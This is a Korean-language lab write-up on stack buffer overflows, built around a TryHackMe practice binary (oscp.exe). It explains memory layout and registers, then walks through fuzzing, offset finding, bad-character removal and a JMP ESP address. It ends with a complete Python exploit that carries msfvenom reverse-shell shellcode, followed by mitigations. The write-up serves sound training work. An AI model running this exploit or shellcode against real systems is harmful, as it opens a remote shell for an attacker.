01. buffer overflow 취약점
■ 개요
- 애플리케이션 입력 값의 크기에 대한 적절성이 검증되지 않을 경우 개발 시에 할당된 저장 공간보다 더 큰 값의 입력이 가능하고 이로 인한 오류 발생으로 의도되지 않은 정보 노출, 프로그램에 대한 비 인가된 접근 및 사용 등이 발생할 수 있는 취약점
- 웹 기반 이외에 소켓 기반,파일 기반으로 구성된 애플리케이션에서도 해당 취약점이 발생할 수 있음
- 웹 취약점 진단 과정에서는 보통 오버플로우 공격을 통해 에러 페이지나 행 걸리는 현상 등 오류가 발생하는지를 주로 점검을 진행하나, 버퍼 오버플로우를 통해 악성코드 삽입 등도 가능하다.
- 주요정보통신기반시설 웹 취약점 진단 기준으로 01. 버퍼 오버플로우에 해당
■ 실습 전 사전 지식
□ Buffer overflow 개념
- 웹 사이트에서 사용자가 입력한 파리미터 값의 문자열 길이를 제한하지 않는 경우 개발 시에 할당된 저장 공간보다 더 큰 값의 입력이 가능하여 이로 인해 의도되지 않은 정보 노출, 비인가 접근 및 사용등이 가능한 공격
□ Buffer overflow 종류
1) Stack Buffer Overflow : 스택 구조상 할당된 버퍼들이 정의된 버퍼의 한계치를 넘은 경우 복귀 주소를 변경하여 공격자가 임의의 코드를 수행하도록 하는 공격
2) Heap Buffer Overflow : 힙 구조 상 최초 정의된 힙 메모리 사이즈를 초과하는 문자열들이 힙 버퍼에 할당될 때, 공격자가 데이터 변경, 함수주소 변경으로 임의의 코드를 수행하는 공격
□ 리틀엔디안(Little Endian)과 빅 엔디안(Big Endian) 개념
- CPU가 메모리에 데이터를 저장할 때 어느 순서로 저장하는가에 따라 Little Endian과 Big Endian으로 구분
- Little Endian : 메모리의 첫 주소에 하위 데이터부터 저장
- Big Endian : 메모리의 첫 주소에 상위 데이터부터 저장
- 주로 사용하는 CPU인 Intel사의 경우, 리틀 엔디안으로 메모리 저장하는 방법에 대해 인지 필요
타입 | 메모리 |
리틀엔디안 | 0x78 0x56 0x34 0x12 |
빅엔디안 | 0x12 0x34 0x56 0x78 |
□ 메모리 구조
구분 | 설명 |
코드 영역 | - CPU가 읽어서 해석할 수 있는 기계어가 위치하는 영역, 쓰기 불가 - 프로그램이 실행되면 코드영역에 있는 어셈블리 코드가 한줄씩 해석되며 실행 |
데이터 영역 | - 프로그램에서 사용되는 각종 변수(전역 변수, 정적변수)들이 위치하는 영역 |
힙 영역 | - 동적 할당으로 생성된 변수가 위치하는 영역 |
스택 영역 | - 프로그램에서 사용되는 각종 환경변수, 파라미터, 리턴값, 지역변수 등의 정보 |
• Stack
- 스택은 컴퓨터 프로그램에서 함수 호출, 지역 변수 저장 등을 위해 사용되는 메모리 영역으로, 스택은 후입선출(LIFO, Last-In-First-Out) 구조로 동작
• 레지스터 종류 및 명령어
- x86 아키텍처에서 사용되는 32비트 레지스터(eax, ebx, ecx, edx)는 프로세서의 일반 목적 레지스터로 사용되며, 데이터 및 주소 값을 저장하고 변경하는데 사용
구 분 | 명 칭 | 이 름 | 용 도 |
범용 레지스터 | EAX | 누산기(Accmulator) | 주로 산술 연산에 사용(함수의 결과 값 저장) |
EBX | 베이스 레지스터 (Baseregister) |
특정주소 저장(주소 지정을 확대하기 위해 인덱스로 사용) | |
ECX | 카운트 레지스터 (Count register) |
반복적으로 실행되는 특정 명령어 사용 (루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억) |
|
EDX | 데이터 레지스터 (Data register) |
일반 자료 저장(입출력 동작에 사용) | |
포인터 레지스터 |
EBP | 베이스 포인터 (Base Pointer) |
SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용 |
ESP | 스택 포인터 (Stack Pointer) |
SS 레지스터와 함께 사용되며 스택의 가장 끝 주소를 가르킴 | |
EIP | 명령 포인터 (Instruction Pointer) |
다음 명령어의 오프셋(Offset, 상대위치 주소)을 저장하며 CS레지스터와 합쳐져 다음에 수행 될 명령의 주소 형성 | |
인덱스 레지스터 |
EDI | 목적지 인덱스 (Destination Index) |
목적지 주소에 대한 값 저장 |
ESI | 출발지 인덱스 (Source Index) |
출발지 주소에 대한 값 저장 | |
플래그 레지스터 |
Flags | 플래그 레지스터 (Flag Register) |
연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장 |
용어 | 설명 |
Stack Frame | - 모든 함수가 호출 될 때 할당되는 자신만의 스택 공간 |
SFP (Stack Frame Pointer) |
- 이전 함수의 스택 프레임 포인터를 저장하는 영역 - 스택 포인터(Stack Pointer)의 기준점이 됨 |
SP (Stack Pointer) |
- SFP를 기준점으로 하여, 상대주소(offset)을 저장하여 메모리를 접근 |
RET (Return Address) |
- 이전 함수의 다음 실행 명령어의 주소를 저장하는 영역 |
□ 스택 버퍼 오버플로우 취약점 구조
• 정상적인 스택 구조
• 스택 버퍼 오버플로우 구조
- 지정된 버퍼 크기를 넘어 EBP가 저장된 공간을 채우고 퍼징(Fuzzing) 절차를 통해 다음 실행할 명령 주소인 RET 주소를 악성코드가 설치된 주소를 입력할 경우 악의적인 행위를 진행할 수 있음
■ 실습 환경
- tryhackme[https://tryhackme.com/room/bufferoverflowprep]
- Kali Linux
■ 실습 환경
- 이 실습의 목표는 버퍼 오버플로우 취약점을 이용하여 리버스 쉘 획득이 목표
■ 실습 진행
Step 1) 윈도우 환경에서 oscp.exe 및 디버깅 파일인 Immnunity Debugger 다운로드
Step 2) Immunity Debugger에서 oscp.exe 파일을 열었을 때, 멈춰 있는 상태로 F9키를 눌러 실행상태로 변경
※ Ctrl + F2 : 재 시작, F9 : Run 상태로 변경
Step 3) oscp.exe 실행 파일 연결 테스트를 위하여 Kali Linux에서 Netcat 명령어를 사용해서 대상 시스템에 1337 포트로 연결 시도 시 정상적으로 통신 가능을 확인할 수 있었으며, HELP 명령어를 입력했을 때, OVERFLOW[Number] [Value] 값을 입력하면 오버플로우 공격 테스트를 진행할 수 있다는 정보를 획득
Step 4) mmunity Debugger 및 WinDBG에서 특정 검색을 자동화하고 속도를 높이는데 사용할 수 있는 Python 스크립트인 mona.py를 C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands에 다운로드 후, C:\ 경로에 mona라는 디렉토리 생성 후 Immunity Debugger에서 ‘!mona config –set workingfolder C:\mona\%p’ 명령어를 입력하여 작업 디렉토리 설정
※ mona.py 설치 링크 : https://github.com/corelan/mona?source=post_page-----19e000482f27-----------------
GitHub - corelan/mona: Corelan Repository for mona.py
Corelan Repository for mona.py. Contribute to corelan/mona development by creating an account on GitHub.
github.com
Step 5) Kali Linux에서 버퍼 오버플로우 테스트를 위한 Fuzzer.py를 생성 후 대상 시스템으로 exploit 진행 시, 2000 byte까지 입력되고 그 이후에는 중단되는 것으로 확인 했을 때, offset이 1900~2000 바이트 범위에 있음을 확인할 수 있으며 EIP가 ‘41414141’로 되어 있음을 확인
※ Immunity Debugger에서 oscp.exe 파일이 Run 상태로 유지된 상태에서 exploit 진행 필요
# fuzzer.py
import socket, time, sys
ip = "192.168.30.143"; // 대상 시스템 IP 설정
port = 1337 // 대상 시스템 PORT 설정
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30: // 버퍼에 ‘A’라는 문자열을 100개씩 총 30번을 반복하여 입력
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
Step 6) 메모리 상에서 명령어(Instruction)를 실행하기 위해선 시작주소(offset)의 값을 알아야 명령을 수행할 수 있다. offset 위치를 찾기 위해, msf-pattern_create 명령어를 통해 랜덤한 값인 2200개 크기 payload를 생성 후, exploit 코드에 삽입 후 exploit 진행 시, EIP값이 6F43396E 인 것을 확인 및 버퍼 오버플로우 동작 확인. msf-pattern_offset 명령어를 통하여 offset 위치를 확인 가능
※ Immunity Debugger에서 oscp.exe 파일이 Run 상태로 유지된 상태에서 exploit 진행 필요하므로, Ctrl + F2 로 재시작 후 RUN 상황에서 동작
명령어 |
root#msf-pattern_create –l 2200 |
root#python2 exploit.py |
root#msf-pattern_offset –l 2200 –q 6F43396E |
# exploit.py
import socket, time, sys
ip = "192.168.30.143" // 대상 시스템 IP 설정
port = 1337 // 대상 시스템 PORT 설정
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "[msf-pattern_create를 통해 생성한 랜덤한 값 입력]"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.sendall(buffer)
print("Done!")
except:
print("Could not connect.")
Step 7) 다음 명령어(Instruction)의 주소를 저장하는 EIP값을 임의의 값(‘AAAA’)로 수정 시 EIP값이 정상적으로 변경되는 것을 확인하였으며, 스택 영역 코드를 찾기 위해 ‘!mona asm –s “jmp esp”’ 명령어를 통해 확인 결과, 스택의 가장 끝 주소를 가르키는 주소인 esp 값이 ‘\xff\xe4’임을 확인
Kali 명령어 / Immunity Debugger 명령어 |
root@kali# mousepad exploit.py |
root@kali# python2 exploit.py |
!mona asm –s “jmp esp” |
# exploit.py
import socket, time, sys
ip = "192.168.30.143" // 대상 시스템 IP 설정
port = 1337 // 대상 시스템 PORT 설정
prefix = "OVERFLOW1 "
offset = 1978 // 확인된 offset 값 입력
overflow = "A" * offset
retn = "AAAA" // EIP 값을 4 Byte의 랜덤한 값으로 입력
padding = ""
payload = "[msf-pattern_create를 통해 생성한 랜덤한 값 입력]"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.sendall(buffer)
print("Done!")
except:
print("Could not connect.")
Step 8) 버퍼 오버플로우 공격을 진행하기 위해서 취약한 프로그램 모듈이 있는지 조회가 필요. ASLR(Address Space Layout Randomization)과 같은 방어 기법이 적용되어 있을 경우, 오버플로우 공격이 매우 어려우므로 해당 모듈이 보안 설정이 적용되어 있는지 ‘!mona modules’ 명령어를 입력했을 때, ‘essfunc.dll’ 모듈과 ‘oscp.exe’ 모듈이 방어 기법이 적용되지 않은 것으로 확인. 이전에 확인한 jmp esp 주소로 취약한 모듈을 ‘!mona find –s “\xff\xe4” -m [모듈명]’ 조회 시. ‘essfunc.dll’ 모듈만 조회되는 것으로 확인했을 때, ‘essfunc.dll’ 모듈이 오버플로우 취약점이 있는 것으로 판단
※ ASLR(Address Space Layout Randomization) : 버퍼 오버플로우, 메모리 변조 등의 공격을 방어하기 위하여 스택, 힙, 라이브러리 등의 주소를 랜덤한 영역에 배치하여 공격자가 메모리 주소를 예측하게 어렵게 하는 보안 설정
Immunity Debugger 명령어 |
!mona modules |
!mona find -s [offset 주소] |
Step 9) 버퍼 오버플로우 공격을 수행하기 위해선 bad character를 제거하는 작업을 진행해야 한다. 대표적인 bad character는 0x00(NULL) 문자 등이 있으며, 0x00이 입력될 경우 null 뒤에 다른 문자가 올 수 없기 때문에 제거를 해야한다.
bad charcter는 고정된 값이 아니므로, 어떠한 값이 bad character인지 확인 필요.
Immunity Debugger에서 ‘!mona bytearray –b "\x00"’ 명령어를 통해 Hex code를 생성 후 이를 exploit.py payload에 삽입 후 exploit 진행 시, ESP 주소가 변경되는 것을 확인할 수 있으며, ESP 주소에 오른쪽 마우스 클릭 후 ‘Follow in Dump’ 입력 시, 해당 주소로 이동 및 Hex dump를 확인할 수 있음.
bad character를 확인하기 위해 연속되지 않은 값을 확인 시, [06 0A] 부분에서 문제가 있는 것으로 추측. 06 이후에 07이 와야 하지만, 0A로 넘어간 것으로 확인했을 때, 0x07이 bad charcter로 추측
명령어 / Immunity Debugger 명령어 |
!mona bytearray –b “\x00” |
root@kali#mousepad exploit.py |
root@kali#python2 exploit.py |
Step 10) 0x00과 0x07을 제외한 Hex code를 다시 생성 후 실행 했을 때, 0x2E가 bad character로 추측. mona 명령어('!mona compare -f C:\mona\oscp\bytearray.bin -a [ESP 주소]')로 확인 가능
명령어 / Immunity Debugger 명령어 |
!mona bytearray –b “\x00\x07” |
root@kali#mousepad exploit.py |
root@kali#python2 exploit.py |
!mona comapre –f C:\mona\oscp\bytearray.bin –a [ESP 주소] |
Step 11) 위 과정을 반복 수행하여 bad character가 (0x00, 0x07, 0x2e, 0xa0)임을 확인.
명령어 / Immunity Debugger 명령어 |
!mona bytearray –b “\x00\x07\x2e\xa0” |
root@kali#mousepad exploit.py |
root@kali#python2 exploit.py |
!mona comapre –f C:\mona\oscp\bytearray.bin –a [ESP 주소] |
Step 12) mona 명령어('mona jmp -r esp -cpb "\x00\x07\x2e\xa0")를 사용하여 ESP 점프 지점을 찾았을 때, 625011AF 임을 확인. 해당 시스템은 Little Endian으로 거꾸로 작성해서 exploit.py retn 변수에 입력 및 64비트의 경우, padding값이 16 바이트로 임의값을 16바이트로 추가한 뒤 리버스 커넥션을 위하여 msfvenom을 통해 쉘 코드 생성 후, 생성된 코드를 payload에 추가
명령어 / Immunity Debugger 명령어 |
!mona jmp –r esp –cpb “\x00\x07\x2e\xa0” |
root@kali#msfvenom –p windows/shell_reverse_tcp LHOST=[kali IP] LPORT=[Listen 포트] -b “\x00\x07\x2e\xa0” -f py |
root@kali#mousepad exploit.py |
# exploit.py
import socket, time, sys
ip = "192.168.30.143" // 대상 시스템 IP 입력
port = 1337 // 대상 시스템 포트 입력
prefix = "OVERFLOW1 "
offset = 1978 // offset값 입력
overflow = "A" * offset // buffer overflow 공격을 offset 크기만큼 생성
retn = "\xaf\x11\x50\x62" // 다음 명령 실행할 EIP 주소 값 입력
padding = "\x90" * 16 // 대상 시스템이 64비트 시스템으로 16바이트 임의의 값 지정
payload = "\xbe\x36\x70\x7c\x9d\xda\xd2\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1\x52\x31\x73\x12\x83\xc3\x04\x03\x45\x7e\x9e\x68\x55\x96\xdc\x93\xa5\x67\x81\x1a\x40\x56\x81\x79\x01\xc9\x31\x09\x47\xe6\xba\x5f\x73\x7d\xce\x77\x74\x36\x65\xae\xbb\xc7\xd6\x92\xda\x4b\x25\xc7\x3c\x75\xe6\x1a\x3d\xb2\x1b\xd6\x6f\x6b\x57\x45\x9f\x18\x2d\x56\x14\x52\xa3\xde\xc9\x23\xc2\xcf\x5c\x3f\x9d\xcf\x5f\xec\x95\x59\x47\xf1\x90\x10\xfc\xc1\x6f\xa3\xd4\x1b\x8f\x08\x19\x94\x62\x50\x5e\x13\x9d\x27\x96\x67\x20\x30\x6d\x15\xfe\xb5\x75\xbd\x75\x6d\x51\x3f\x59\xe8\x12\x33\x16\x7e\x7c\x50\xa9\x53\xf7\x6c\x22\x52\xd7\xe4\x70\x71\xf3\xad\x23\x18\xa2\x0b\x85\x25\xb4\xf3\x7a\x80\xbf\x1e\x6e\xb9\xe2\x76\x43\xf0\x1c\x87\xcb\x83\x6f\xb5\x54\x38\xe7\xf5\x1d\xe6\xf0\xfa\x37\x5e\x6e\x05\xb8\x9f\xa7\xc2\xec\xcf\xdf\xe3\x8c\x9b\x1f\x0b\x59\x0b\x4f\xa3\x32\xec\x3f\x03\xe3\x84\x55\x8c\xdc\xb5\x56\x46\x75\x5f\xad\x01\xba\x08\xb3\x55\x52\x4b\xcb\x44\xff\xc2\x2d\x0c\xef\x82\xe6\xb9\x96\x8e\x7c\x5b\x56\x05\xf9\x5b\xdc\xaa\xfe\x12\x15\xc6\xec\xc3\xd5\x9d\x4e\x45\xe9\x0b\xe6\x09\x78\xd0\xf6\x44\x61\x4f\xa1\x01\x57\x86\x27\xbc\xce\x30\x55\x3d\x96\x7b\xdd\x9a\x6b\x85\xdc\x6f\xd7\xa1\xce\xa9\xd8\xed\xba\x65\x8f\xbb\x14\xc0\x79\x0a\xce\x9a\xd6\xc4\x86\x5b\x15\xd7\xd0\x63\x70\xa1\x3c\xd5\x2d\xf4\x43\xda\xb9\xf0\x3c\x06\x5a\xfe\x97\x82\x6a\xb5\xb5\xa3\xe2\x10\x2c\xf6\x6e\xa3\x9b\x35\x97\x20\x29\xc6\x6c\x38\x58\xc3\x29\xfe\xb1\xb9\x22\x6b\xb5\x6e\x42\xbe"
// reverse connection을 위한 shell code 입력
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.sendall(buffer)
print("Done!")
except:
print("Could not connect.")
■ 버퍼 오버플로우 대응 방안
1. 시큐어코딩을 통해 오버플로우 탐지 시 비정상 종료될 수 있도록 설정
import numpy as np
MAX_NUMBER = np.iinfo(np.int64).max
MIN_NUMBER = np.iinfo(np.int64).min
def handle_data(number, pow):
calculated = number ** pow
# 파이썬 기본 자료형으로 큰 수를 계산한 후 이를 검사해 오버플로우 탐지
if calculated > MAX_NUMBER or calculated < MIN_NUMBER:
# 오버플로우 탐지 시 비정상 종료를 나타내는 -1 값 반환
return -1
res = np.power(number, pow, dtype=np.int64)
return res
2. 버퍼 오버플로우 보호 매커니즘 사용
① 스택가드 : 복귀주소(return address)와 변수 사이에 특정 값(카나리아)을 저장해두었다가 카나리아 값이 변경시 오버플로우로 가정하여 실행 중단
② 스택쉴드 : 리턴주소를 RET라는 특수 스택에 저장해두었다가 함수 종료시 값을 비교하여 값이 다를 경우 오버플로우로 가정하여 실행 중단
③ ASLR : 주소 공간을 난수화 하여 실행 시 마다 메모리 주소 변경하여 악성코드에 의한 특정 주소 호출을 방지한다.
3. 안전한 함수 사용
- 문자열 길이를 제한하는 함수를 사용하면 버퍼를 초과하지 않으므로, 안전한 함수를 사용하여 개발